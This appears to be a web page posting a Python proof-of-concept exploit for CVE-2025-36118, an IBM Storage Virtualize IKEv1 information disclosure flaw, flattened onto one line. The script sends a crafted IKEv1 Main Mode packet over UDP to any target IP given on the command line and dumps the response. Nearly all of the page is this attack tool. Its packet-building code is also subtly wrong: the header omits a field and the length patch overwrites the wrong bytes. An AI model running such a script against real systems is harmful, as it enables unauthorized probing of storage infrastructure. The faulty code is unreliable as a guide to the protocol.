CVE-2025-36118 IBM Storage Virtualize IKEv1信息泄露漏洞

# CVE-2025-36118 PoC - IBM Storage Virtualize IKEv1 Information Disclosure # This PoC demonstrates sending a malformed IKEv1 SA negotiation request import socket import struct import random def build_ike_header(isakmp_spi, exchange_type, flags=0x08): """Build IKEv1 header""" header = bytearray() # ISAKMP Header Format (20 bytes) header.extend(isakmp_spi) # Initiator SPI (8 bytes) header.extend(bytes(8)) # Responder SPI (8 bytes) - zeroed header.extend(struct.pack('>B', exchange_type)) # Next Payload (0x00) header.extend(struct.pack('>B', 0x10)) # Version (1.0) header.extend(struct.pack('>B', flags)) # Exchange Type Flags header.extend(struct.pack('>I', 0)) # Message ID header.extend(struct.pack('>I', 0)) # Length (to be filled) return bytes(header) def build_sa_proposal(payload_type=1): """Build SA Proposal payload with crafted values""" payload = bytearray() payload.extend(struct.pack('>B', payload_type)) # Next Payload (0x00 for last) payload.extend(struct.pack('>B', 0)) # Reserved payload.extend(struct.pack('>H', 28)) # Payload Length payload.extend(struct.pack('>B', 1)) # Proposal #1 payload.extend(struct.pack('>B', 1)) # Protocol ID (IKE) payload.extend(struct.pack('>B', 4)) # SPI Size payload.extend(struct.pack('>B', 0)) # # of transforms payload.extend(bytes(4)) # SPI (4 bytes) return bytes(payload) def send_ike_exploit(target_ip, target_port=500): """Send malicious IKEv1 SA negotiation request""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(10) # Generate random Initiator SPI isakmp_spi = bytes([random.randint(0, 255) for _ in range(8)]) # Build IKEv1 message with SA proposal ike_header = build_ike_header(isakmp_spi, exchange_type=0x02) # Main Mode sa_payload = build_sa_proposal() ike_packet = ike_header + sa_payload # Fix length field ike_packet = ike_packet[:24] + struct.pack('>I', len(ike_packet)) + ike_packet[28:] print(f"[*] Sending malformed IKEv1 SA negotiation to {target_ip}:{target_port}") print(f"[*] SPI: {isakmp_spi.hex()}") print(f"[*] Packet length: {len(ike_packet)} bytes") try: sock.sendto(ike_packet, (target_ip, target_port)) response, addr = sock.recvfrom(4096) print(f"[+] Received response ({len(response)} bytes)") print(f"[*] Response hex: {response.hex()}") return response except socket.timeout: print("[-] No response received (target may not be vulnerable or IKE disabled)") return None except Exception as e: print(f"[-] Error: {e}") return None finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_36118_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_ike_exploit(target_ip)